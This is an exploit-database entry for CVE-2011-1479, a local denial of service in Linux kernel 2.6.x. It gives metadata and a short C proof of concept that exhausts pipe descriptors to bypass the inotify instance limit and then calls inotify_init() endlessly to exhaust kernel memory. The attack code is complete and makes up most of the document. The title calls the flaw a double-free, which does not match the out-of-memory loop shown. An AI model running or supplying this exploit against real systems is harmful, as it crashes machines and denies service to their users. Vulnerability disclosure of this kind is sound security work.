Linux Kernel 2.6.x - 'inotify_init1()' Double-Free Local Denial of Service
Author: anonymous
type: dos
platform: linux
port:
date_added: 2011-04-11
date_updated: 2016-09-06
verified: 1
codes: CVE-2011-1479;OSVDB-74633
tags:
aliases:
screenshot_url:
application_url:
/*
source: https://www.securityfocus.com/bid/47296/info
The Linux kernel is prone to a local denial-of-service vulnerability.
Attackers can exploit this issue to cause an out-of-memory condition, denying service to legitimate users.
*/
#include <sys/inotify.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
int fds[2];
/* Circumvent max inotify instances limit */
while (pipe(fds) != -1)
;
while (1)
inotify_init();
return 0;
}